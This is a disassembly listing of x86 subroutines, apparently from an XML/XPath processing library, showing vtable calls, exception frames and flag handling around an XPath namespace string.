push 20h
push offset dword_69B6A5D8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B6A55C
mov eax, 80004005h
jmp short loc_69B6A5CC
; ---------------------------------------------------------------------------
loc_69B6A55C: ; CODE XREF: sub_69B6A53C+17j
push 0
lea ecx, [ebp-28h]
call sub_69B11D3B
and dword ptr [ebp-4], 0
mov esi, [ebp+8]
mov eax, [esi+14h]
mov [ebp-2Ch], eax
test eax, eax
jnz short loc_69B6A57E
mov ecx, esi
call sub_69B6A0D7
loc_69B6A57E: ; CODE XREF: sub_69B6A53C+39j
mov ecx, [esi+14h]
push dword ptr [ebp+0Ch]
mov eax, [ecx]
call dword ptr [eax+68h]
push eax
mov ecx, esi
call sub_69B69FB9
jmp short loc_69B6A5B1
; ---------------------------------------------------------------------------
loc_69B6A593: ; DATA XREF: .text:69B6A5DCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A59C: ; DATA XREF: .text:69B6A5E0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B6A5B1: ; CODE XREF: sub_69B6A53C+55j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B6A5CC: ; CODE XREF: sub_69B6A53C+1Ej
call sub_69B1853C
retn 8
sub_69B6A53C endp
; ---------------------------------------------------------------------------
align 8
dword_69B6A5D8 dd 0FFFFFFFFh dd offset loc_69B6A593
dd offset loc_69B6A59C
; =============== S U B R O U T I N E =======================================
sub_69B6A5E4 proc near ; DATA XREF: .text:69B15B44o
push 24h
push offset dword_69B6A680
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B6A606
mov eax, 80004005h
jmp short loc_69B6A675
; ---------------------------------------------------------------------------
loc_69B6A606: ; CODE XREF: sub_69B6A5E4+19j
push edi
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], edi
mov ecx, [ebp+8]
lea esi, [ecx+14h]
mov eax, [esi]
mov [ebp-2Ch], eax
cmp eax, edi
jnz short loc_69B6A626
call sub_69B6A0D7
loc_69B6A626: ; CODE XREF: sub_69B6A5E4+3Bj
mov ecx, [esi]
mov eax, [ecx]
call dword ptr [eax+6Ch]
mov [ebp-30h], esi
push edi
push esi
call sub_69B17320
mov [ebp-34h], edi
jmp short loc_69B6A65D
; ---------------------------------------------------------------------------
loc_69B6A63C: ; DATA XREF: .text:69B6A684o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6A645: ; DATA XREF: .text:69B6A688o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B6A65D: ; CODE XREF: sub_69B6A5E4+56j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-34h]
loc_69B6A675: ; CODE XREF: sub_69B6A5E4+20j
call sub_69B1853C
retn 4
sub_69B6A5E4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B6A680 dd 0FFFFFFFFh dd offset loc_69B6A63C
dd offset loc_69B6A645
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6A68C proc near ; CODE XREF: sub_69B61F42+14Ep
var_C = byte ptr -0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp dword_69B9B2F8, 0
jnz locret_69B6A72A
push esi
push 1
lea ecx, [ebp+var_C]
call sub_69B11D3B
push offset off_69B6A730
call sub_69B19611
push eax ; Value
mov ecx, offset dword_69B9B2F8 ; Target
call sub_69B188DC
push offset off_69B6A740
call sub_69B19611
push eax ; Value
mov ecx, offset dword_69B9B2F0 ; Target
call sub_69B188DC
cmp off_69B9A1D8, 0
mov esi, offset off_69B9A1D8
jz short loc_69B6A721
loc_69B6A6E2: ; CODE XREF: sub_69B6A68C+93j
push dword ptr [esi]
call sub_69B19611
test byte ptr [esi+8], 1
jz short loc_69B6A6FD
mov ecx, dword_69B9B2F8
mov edx, dword_69B9B2F0
jmp short loc_69B6A701
; ---------------------------------------------------------------------------
loc_69B6A6FD: ; CODE XREF: sub_69B6A68C+61j
xor ecx, ecx
xor edx, edx
loc_69B6A701: ; CODE XREF: sub_69B6A68C+6Fj
push edx
push ecx
push ecx
push eax
call sub_69B192E9
push eax
call sub_69B4D460
mov ecx, [esi+4] ; Target
push eax ; Value
call sub_69B188DC
add esi, 0Ch
cmp dword ptr [esi], 0
jnz short loc_69B6A6E2
loc_69B6A721: ; CODE XREF: sub_69B6A68C+54j
lea ecx, [ebp+var_C]
call sub_69B1976C
pop esi
locret_69B6A72A: ; CODE XREF: sub_69B6A68C+Dj
leave
retn
sub_69B6A68C endp
; ---------------------------------------------------------------------------
align 10h
off_69B6A730 dd offset off_69B17D10 ; DATA XREF: sub_69B6A68C+1Eo
align 8
dd 22h
dd offset aHttpWww_micr_0 ; "http://www.microsoft.com/xpath/ast"
off_69B6A740 dd offset off_69B17D10 ; DATA XREF: sub_69B6A68C+33o
align 8
dd 2
dd offset aXp ; "xp"
aHttpWww_micr_0: ; DATA XREF: .text:69B6A73Co
unicode 0, <http://www.microsoft.com/xpath/ast>,0
align 4
aXp: ; DATA XREF: .text:69B6A74Co
unicode 0, <xp>,0
align 10h
; =============== S U B R O U T I N E =======================================
sub_69B6A7A0 proc near ; CODE XREF: sub_69B6A7CC+3j
; DATA XREF: .text:69B15C0Co
mov eax, offset off_69B6A7A8
retn
sub_69B6A7A0 endp
; ---------------------------------------------------------------------------
align 4
off_69B6A7A8 dd offset off_69B29C74 ; DATA XREF: sub_69B6A7A0o
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B6A7B0 proc near ; DATA XREF: .text:69B15BDCo
push dword ptr [ecx+8]
add ecx, 0FFFFFFF8h
call sub_69B6C8AB
retn
sub_69B6A7B0 endp
; =============== S U B R O U T I N E =======================================
sub_69B6A7BC proc near ; DATA XREF: .text:69B13944o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B64999
retn 8
sub_69B6A7BC endp
; =============== S U B R O U T I N E =======================================
sub_69B6A7CC proc near ; DATA XREF: .text:69B15BACo
sub ecx, 8
jmp short sub_69B6A7A0
sub_69B6A7CC endp
; =============== S U B R O U T I N E =======================================
sub_69B6A7D1 proc near ; CODE XREF: sub_69B6A9B0+3j
; DATA XREF: .text:69B15C24o
push esi
mov esi, ecx
push 0
lea eax, [esi+10h]
push eax
call sub_69B17320
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B6A7D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=68h
sub_69B6A7F2 proc near ; CODE XREF: sub_69B6A8E7+3j
; sub_69B6A8EF+21p ...
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
lea ebp, [esp-68h]
sub esp, 88h
mov edx, ecx
push 8
mov [ebp+68h+var_8], edx
lea eax, [ebp+68h+var_88]
pop ecx
loc_69B6A808: ; CODE XREF: sub_69B6A7F2+21j
and dword ptr [eax], 0
mov byte ptr [eax+4], 0
add eax, 10h
dec ecx
jnz short loc_69B6A808
push esi
xor esi, esi
cmp [ebp+68h+arg_0], esi
jnz short loc_69B6A834
push offset loc_69B468E6
push 8
push 10h
lea eax, [ebp+68h+var_88]
push eax
call sub_69B51181
jmp loc_69B6A8DF
; ---------------------------------------------------------------------------
loc_69B6A834: ; CODE XREF: sub_69B6A7F2+29j
mov eax, [edx+10h]
cmp eax, esi
push ebx
push edi
jz short loc_69B6A845
mov esi, [eax+0Ch]
cmp esi, 8
jg short loc_69B6A84D
loc_69B6A845: ; CODE XREF: sub_69B6A7F2+49j
lea eax, [ebp+68h+var_88]
mov [ebp+68h+var_4], eax
jmp short loc_69B6A888
; ---------------------------------------------------------------------------
loc_69B6A84D: ; CODE XREF: sub_69B6A7F2+51j
push esi
push 10h
call sub_69B11CFE
mov edi, eax
test edi, edi
pop ecx
pop ecx
jz short loc_69B6A86C
mov ecx, edi
call sub_69B19118
mov dword ptr [edi], offset off_69B13908
jmp short loc_69B6A86E
; ---------------------------------------------------------------------------
loc_69B6A86C: ; CODE XREF: sub_69B6A7F2+69j
xor edi, edi
loc_69B6A86E: ; CODE XREF: sub_69B6A7F2+78j
add edi, 0Ch
test esi, esi
mov [ebp+68h+var_4], edi
jz short loc_69B6A888
mov eax, edi
add eax, 4
mov ecx, esi
loc_69B6A87F: ; CODE XREF: sub_69B6A7F2+94j
mov byte ptr [eax], 1
add eax, 10h
dec ecx
jnz short loc_69B6A87F
loc_69B6A888: ; CODE XREF: sub_69B6A7F2+59j
; sub_69B6A7F2+84j
mov ebx, [ebp+68h+var_4]
xor edi, edi
test esi, esi
jle short loc_69B6A8B6
loc_69B6A891: ; CODE XREF: sub_69B6A7F2+C2j
mov eax, [ebp+68h+var_8]
mov ecx, [eax+10h]
push edi
call sub_69B8A163
mov edx, [eax]
push ebx
push [ebp+68h+arg_8]
mov ecx, eax
push [ebp+68h+arg_4]
push [ebp+68h+arg_0]
call dword ptr [edx+54h]
inc edi
add ebx, 10h
cmp edi, esi
jl short loc_69B6A891
loc_69B6A8B6: ; CODE XREF: sub_69B6A7F2+9Dj
push [ebp+68h+arg_C]
mov edx, [ebp+68h+var_8]
mov ecx, [ebp+68h+arg_0]
mov eax, [ecx]
push esi
push [ebp+68h+var_4]
push dword ptr [edx+14h]
call dword ptr [eax+0Ch]
push offset loc_69B468E6
push 8
push 10h
lea eax, [ebp+68h+var_88]
push eax
call sub_69B51181
pop edi
pop ebx
loc_69B6A8DF: ; CODE XREF: sub_69B6A7F2+3Dj
pop esi
add ebp, 68h
leave
retn 10h
sub_69B6A7F2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6A8E7 proc near ; DATA XREF: .text:69B15BE4o
add ecx, 0FFFFFFF8h
jmp sub_69B6A7F2
sub_69B6A8E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6A8EF proc near ; DATA XREF: .text:69B15BE0o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_10], 0
push esi
lea eax, [ebp+var_10]
push eax
push [ebp+arg_8]
mov esi, ecx
push [ebp+arg_4]
lea ecx, [esi-8]
push [ebp+arg_0]
mov [ebp+var_C], 0
call sub_69B6A7F2
push dword ptr [esi+4]
lea eax, [ebp+var_10]
push eax
push 1
lea ecx, [ebp+var_10]
call sub_69B64008
cmp [ebp+var_10], 1
jz short loc_69B6A931
or esi, 0FFFFFFFFh
jmp short loc_69B6A935
; ---------------------------------------------------------------------------
loc_69B6A931: ; CODE XREF: sub_69B6A8EF+3Bj
movzx esi, [ebp+var_8]
loc_69B6A935: ; CODE XREF: sub_69B6A8EF+40j
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 0Ch
sub_69B6A8EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6A944 proc near ; DATA XREF: .text:69B15BE8o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
xor eax, eax
push esi
mov [ebp+var_20], eax
mov [ebp+var_1C], al
mov [ebp+var_10], eax
mov [ebp+var_C], al
lea eax, [ebp+var_20]
push eax
push [ebp+arg_C]
mov esi, ecx
push [ebp+arg_8]
lea ecx, [esi-8]
push [ebp+arg_0]
call sub_69B6A7F2
mov ecx, [ebp+arg_10]
mov eax, [ecx]
lea edx, [ebp+var_10]
push edx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [eax+54h]
push dword ptr [esi+4]
lea eax, [ebp+var_10]
push eax
push [ebp+arg_4]
lea ecx, [ebp+var_20]
call sub_69B65333
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
lea ecx, [ebp+var_20]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 14h
sub_69B6A944 endp
; =============== S U B R O U T I N E =======================================
sub_69B6A9B0 proc near ; DATA XREF: .text:69B15BC4o
sub ecx, 8
jmp sub_69B6A7D1
sub_69B6A9B0 endp
; =============== S U B R O U T I N E =======================================
sub_69B6A9B8 proc near ; CODE XREF: sub_69B6223C+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B15B4C SIZE 0000003D BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B6A9CA
mov ecx, eax
jmp loc_69B15B4C
; ---------------------------------------------------------------------------
loc_69B6A9CA: ; CODE XREF: sub_69B6A9B8+9j
xor eax, eax
retn 8
sub_69B6A9B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B6A9CF proc near ; DATA XREF: .text:69B1393Co
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B6A9EE
push ebx
mov ebx, eax
loc_69B6A9E0: ; CODE XREF: sub_69B6A9CF+1Cj
mov ecx, edi
call sub_69B466CC
add edi, 10h
dec ebx
jnz short loc_69B6A9E0
pop ebx
loc_69B6A9EE: ; CODE XREF: sub_69B6A9CF+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B6A9CF endp
; =============== S U B R O U T I N E =======================================
sub_69B6A9F7 proc near ; CODE XREF: sub_69B6AA37+Cp
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B6AA0D
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+44h]
neg eax
sbb eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B6AA0D: ; CODE XREF: sub_69B6A9F7+7j
xor eax, eax
retn
sub_69B6A9F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AA10 proc near ; CODE XREF: sub_69B6AEF6+3j
; .text:69B6AF09j
; DATA XREF: ...
mov eax, offset off_69B6AA18
retn
sub_69B6AA10 endp
; ---------------------------------------------------------------------------
align 4
off_69B6AA18 dd offset off_69B29C7C ; DATA XREF: sub_69B6AA10o
dd offset sub_69B6B055
; =============== S U B R O U T I N E =======================================
sub_69B6AA20 proc near ; DATA XREF: .text:69B1398Co
mov eax, ecx
lea ecx, [eax-10h]
mov eax, [eax+20h]
mov edx, [ecx]
shr eax, 6
and eax, 0FFFFFF01h
push eax
call dword ptr [edx+50h]
retn
sub_69B6AA20 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AA37 proc near ; DATA XREF: .text:69B13A24o
push esi
mov esi, ecx
cmp dword ptr [esi+34h], 0
jnz short loc_69B6AA50
mov ecx, [esi+30h]
call sub_69B6A9F7
test al, al
jz short loc_69B6AA50
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B6AA50: ; CODE XREF: sub_69B6AA37+7j
; sub_69B6AA37+13j
lea eax, [esi-8]
add esi, 8
neg eax
sbb eax, eax
and eax, esi
pop esi
retn
sub_69B6AA37 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AA5E proc near ; DATA XREF: .text:69B1399Co
arg_4 = dword ptr 8
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AA6A
lea eax, [ecx+2Ch]
loc_69B6AA6A: ; CODE XREF: sub_69B6AA5E+7j
mov eax, [eax]
push [esp+arg_4]
mov edx, [eax]
push 0
mov ecx, eax
call dword ptr [edx+54h]
retn 8
sub_69B6AA5E endp
; =============== S U B R O U T I N E =======================================
sub_69B6AA7C proc near ; DATA XREF: .text:69B139A0o
arg_4 = dword ptr 8
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AA88
lea eax, [ecx+2Ch]
loc_69B6AA88: ; CODE XREF: sub_69B6AA7C+7j
mov eax, [eax]
push [esp+arg_4]
mov edx, [eax]
push 0
mov ecx, eax
call dword ptr [edx+58h]
retn 8
sub_69B6AA7C endp
; =============== S U B R O U T I N E =======================================
sub_69B6AA9A proc near ; DATA XREF: .text:69B139D0o
test byte ptr [ecx+20h], 80h
lea eax, [ecx+30h]
jnz short loc_69B6AAA6
lea eax, [ecx+2Ch]
loc_69B6AAA6: ; CODE XREF: sub_69B6AA9A+7j
mov eax, [eax]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+88h]
sub_69B6AA9A endp
; =============== S U B R O U T I N E =======================================
sub_69B6AAB2 proc near ; DATA XREF: .text:69B13A2Co
push esi
mov esi, ecx
mov ecx, [esi+30h]
mov eax, [ecx]
push edi
xor edi, edi
call dword ptr [eax+3Ch]
test eax, eax
jnz short loc_69B6AAD0
mov ecx, [esi+34h]
test ecx, ecx
jz short loc_69B6AAD9
mov eax, [ecx]
call dword ptr [eax+5Ch]
loc_69B6AAD0: ; CODE XREF: sub_69B6AAB2+10j
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+4Ch]
mov edi, eax
loc_69B6AAD9: ; CODE XREF: sub_69B6AAB2+17j
mov eax, edi
and eax, 201h
pop edi
or eax, 100h
pop esi
retn
sub_69B6AAB2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AAE8 proc near ; DATA XREF: .text:69B139C8o
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_69B6AAFE
lea ecx, [esi-10h]
mov eax, [ecx]
push 1
call dword ptr [eax+50h]
jmp short loc_69B6AB1C
; ---------------------------------------------------------------------------
loc_69B6AAFE: ; CODE XREF: sub_69B6AAE8+8j
test byte ptr [esi+20h], 40h
jz short loc_69B6AB1C
test byte ptr [esi+20h], 80h
lea eax, [esi+30h]
jnz short loc_69B6AB10
lea eax, [esi+2Ch]
loc_69B6AB10: ; CODE XREF: sub_69B6AAE8+23j
mov ecx, [eax]
mov eax, [ecx]
push 0
call dword ptr [eax+80h]
loc_69B6AB1C: ; CODE XREF: sub_69B6AAE8+14j
; sub_69B6AAE8+1Aj
movzx eax, [esp+4+arg_0]
shl eax, 6
xor eax, [esi+20h]
and eax, 40h
xor [esi+20h], eax
pop esi
retn 4
sub_69B6AAE8 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AB31 proc near ; DATA XREF: .text:69B13A78o
mov eax, dword_69B9B300
retn
sub_69B6AB31 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AB37 proc near ; CODE XREF: sub_69B6B06D-191p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
mov esi, ecx
lea eax, [esi+38h]
push eax
call sub_69B17320
mov eax, [esp+4+arg_4]
mov [esi+44h], eax
pop esi
retn 8
sub_69B6AB37 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AB52 proc near ; DATA XREF: .text:69B13A90o
arg_0 = byte ptr 4
push esi
mov esi, ecx
mov ecx, [esi+3Ch]
test ecx, ecx
jnz short loc_69B6AB72
movzx eax, [esp+4+arg_0]
shl eax, 6
xor eax, [esi+30h]
and eax, 40h
xor [esi+30h], eax
jmp loc_69B6AC2E
; ---------------------------------------------------------------------------
loc_69B6AB72: ; CODE XREF: sub_69B6AB52+8j
cmp [esp+4+arg_0], 0
push edi
jz short loc_69B6ABDE
mov eax, [esi+30h]
test al, 40h
jz short loc_69B6AB92
test al, al
jns short loc_69B6AB88
mov ecx, [esi+40h]
loc_69B6AB88: ; CODE XREF: sub_69B6AB52+31j
mov eax, [ecx]
call dword ptr [eax+44h]
jmp loc_69B6AC2D
; ---------------------------------------------------------------------------
loc_69B6AB92: ; CODE XREF: sub_69B6AB52+2Dj
or eax, 40h
mov [esi+30h], eax
mov eax, [ecx]
call dword ptr [eax+84h]
test al, al
jnz short loc_69B6ABB7
mov ecx, [esi+3Ch]
mov eax, [ecx]
push 1
call dword ptr [eax+80h]
loc_69B6ABB1: ; CODE XREF: sub_69B6AB52+A6j
and byte ptr [esi+30h], 7Fh
jmp short loc_69B6AC2D
; ---------------------------------------------------------------------------
loc_69B6ABB7: ; CODE XREF: sub_69B6AB52+50j
lea edi, [esi+40h]
mov ecx, [edi]
test ecx, ecx
jz short loc_69B6ABDA
mov eax, [ecx]
call dword ptr [eax+84h]
test al, al
jnz short loc_69B6ABDA
mov ecx, [edi]
mov eax, [ecx]
push 1
call dword ptr [eax+80h]
jmp short loc_69B6AC29
; ---------------------------------------------------------------------------
loc_69B6ABDA: ; CODE XREF: sub_69B6AB52+6Cj
; sub_69B6AB52+78j
push 1
jmp short loc_69B6AC1A
; ---------------------------------------------------------------------------
loc_69B6ABDE: ; CODE XREF: sub_69B6AB52+26j
test byte ptr [esi+30h], 40h
jnz short loc_69B6AC2D
mov eax, [ecx]
call dword ptr [eax+84h]
test al, al
jnz short loc_69B6ABFA
mov ecx, [esi+3Ch]
mov eax, [ecx]
call dword ptr [eax+44h]
jmp short loc_69B6ABB1
; ---------------------------------------------------------------------------
loc_69B6ABFA: ; CODE XREF: sub_69B6AB52+9Cj
lea edi, [esi+40h]
mov ecx, [edi]
test ecx, ecx
jz short loc_69B6AC18
mov eax, [ecx]
call dword ptr [eax+84h]
test al, al
jnz short loc_69B6AC18
mov ecx, [edi]
mov eax, [ecx]
call dword ptr [eax+44h]
jmp short loc_69B6AC29
; ---------------------------------------------------------------------------
loc_69B6AC18: ; CODE XREF: sub_69B6AB52+AFj
; sub_69B6AB52+BBj
push 0
loc_69B6AC1A: ; CODE XREF: sub_69B6AB52+8Aj
mov ecx, [esi+3Ch]
mov eax, [ecx]
call dword ptr [eax+7Ch]
push eax
push edi
call sub_69B17320
loc_69B6AC29: ; CODE XREF: sub_69B6AB52+86j
; sub_69B6AB52+C4j
or byte ptr [esi+30h], 80h
loc_69B6AC2D: ; CODE XREF: sub_69B6AB52+3Bj
; sub_69B6AB52+63j ...
pop edi
loc_69B6AC2E: ; CODE XREF: sub_69B6AB52+1Bj
pop esi
retn 4
sub_69B6AB52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6AC32 proc near ; CODE XREF: sub_69B6ACD6+1Cp
; sub_69B6AD26+1Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ecx, [esi+38h]
xor ebx, ebx
mov [ebp+var_4], ebx
mov eax, [ecx]
push edi
call dword ptr [eax+3Ch]
mov edi, [ebp+arg_0]
cmp edi, ebx
jz short loc_69B6ACBB
mov ecx, [esi+38h]
mov ebx, [edi]
lea eax, [ebp+var_4]
push eax
mov eax, [ecx]
call dword ptr [eax+44h]
push eax
push dword ptr [esi+44h]
mov ecx, edi
call dword ptr [ebx+8]
mov ecx, [eax]
test ecx, ecx
jz short loc_69B6ACCC
cmp ecx, 6
jnz short loc_69B6ACB0
mov eax, [eax+8]
lea edi, [esi+3Ch]
cmp [edi], eax
jz short loc_69B6AC91
push eax
push edi
call sub_69B17320
push 0
lea eax, [esi+40h]
push eax
call sub_69B17320
and byte ptr [esi+30h], 7Fh
loc_69B6AC91: ; CODE XREF: sub_69B6AC32+47j
push [ebp+arg_8]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+50h]
test byte ptr [esi+30h], 80h
jz short loc_69B6ACA4
lea edi, [esi+40h]
loc_69B6ACA4: ; CODE XREF: sub_69B6AC32+6Dj
push dword ptr [edi]
mov ecx, [ebp+arg_4]
call sub_69B64115
jmp short loc_69B6ACCC
; ---------------------------------------------------------------------------
loc_69B6ACB0: ; CODE XREF: sub_69B6AC32+3Dj
mov ecx, [ebp+arg_4]
push eax
call sub_69B64999
jmp short loc_69B6ACCC
; ---------------------------------------------------------------------------
loc_69B6ACBB: ; CODE XREF: sub_69B6AC32+1Bj
cmp eax, ebx
jz short loc_69B6ACCC
push [ebp+arg_4]
mov edx, [eax]
push ebx
push ebx
push ebx
mov ecx, eax
call dword ptr [edx+54h]
loc_69B6ACCC: ; CODE XREF: sub_69B6AC32+38j
; sub_69B6AC32+7Cj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B6AC32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6ACD6 proc near ; CODE XREF: sub_69B6ADF2+Bp
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_10], 0
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_10]
push eax
push [ebp+arg_0]
mov esi, ecx
mov [ebp+var_C], 0
call sub_69B6AC32
cmp [ebp+var_10], 6
mov edi, eax
jz short loc_69B6AD16
mov ecx, [esi+38h]
mov eax, [ecx]
push 0
push 0
call dword ptr [eax+38h]
push eax
push 0C00CE314h
call sub_69B6E277
loc_69B6AD16: ; CODE XREF: sub_69B6ACD6+27j
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B6ACD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6AD26 proc near ; DATA XREF: .text:69B13A30o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push esi
xor eax, eax
push eax
mov [ebp+var_10], eax
mov [ebp+var_C], al
lea eax, [ebp+var_10]
push eax
push [ebp+arg_0]
mov esi, ecx
lea ecx, [esi-8]
call sub_69B6AC32
push dword ptr [esi+4]
lea eax, [ebp+var_10]
push eax
push 1
lea ecx, [ebp+var_10]
call sub_69B64008
cmp [ebp+var_10], 1
jz short loc_69B6AD63
or esi, 0FFFFFFFFh
jmp short loc_69B6AD67
; ---------------------------------------------------------------------------
loc_69B6AD63: ; CODE XREF: sub_69B6AD26+36j
movzx esi, [ebp+var_8]
loc_69B6AD67: ; CODE XREF: sub_69B6AD26+3Bj
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 0Ch
sub_69B6AD26 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AD76 proc near ; DATA XREF: .text:69B13A34o
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push 0
push [esp+4+arg_C]
add ecx, 0FFFFFFF8h
push [esp+8+arg_0]
call sub_69B6AC32
retn 10h
sub_69B6AD76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6AD8B proc near ; DATA XREF: .text:69B13A38o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
xor eax, eax
push esi
push eax
mov [ebp+var_20], eax
mov [ebp+var_1C], al
mov [ebp+var_10], eax
mov [ebp+var_C], al
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
mov esi, ecx
lea ecx, [esi-8]
call sub_69B6AC32
mov ecx, [ebp+arg_10]
mov eax, [ecx]
lea edx, [ebp+var_10]
push edx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [eax+54h]
push dword ptr [esi+4]
lea eax, [ebp+var_10]
push eax
push [ebp+arg_4]
lea ecx, [ebp+var_20]
call sub_69B65333
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
lea ecx, [ebp+var_20]
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 14h
sub_69B6AD8B endp
; =============== S U B R O U T I N E =======================================
sub_69B6ADF2 proc near ; DATA XREF: .text:69B13990o
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push [esp+arg_8]
add ecx, 0FFFFFFF0h
push [esp+4+arg_0]
call sub_69B6ACD6
retn 0Ch
sub_69B6ADF2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AE05 proc near ; DATA XREF: .text:69B139C4o
arg_0 = dword ptr 4
push esi
push edi
push 0
mov edi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov esi, eax
lea eax, [edi+28h]
push eax
lea ecx, [esi+38h]
call sub_69B4D414
mov eax, [edi+34h]
mov [esi+44h], eax
lea eax, [edi+2Ch]
push eax
lea ecx, [esi+3Ch]
call sub_69B4D414
add edi, 30h
push edi
lea ecx, [esi+40h]
call sub_69B4D414
push [esp+8+arg_0]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+50h]
pop edi
lea eax, [esi+10h]
pop esi
retn 4
sub_69B6AE05 endp
; =============== S U B R O U T I N E =======================================
sub_69B6AE56 proc near ; DATA XREF: .text:69B13A7Co
arg_4 = dword ptr 8
mov ecx, [ecx+38h]
mov eax, [ecx]
push ebx
push esi
push edi
call dword ptr [eax+38h]
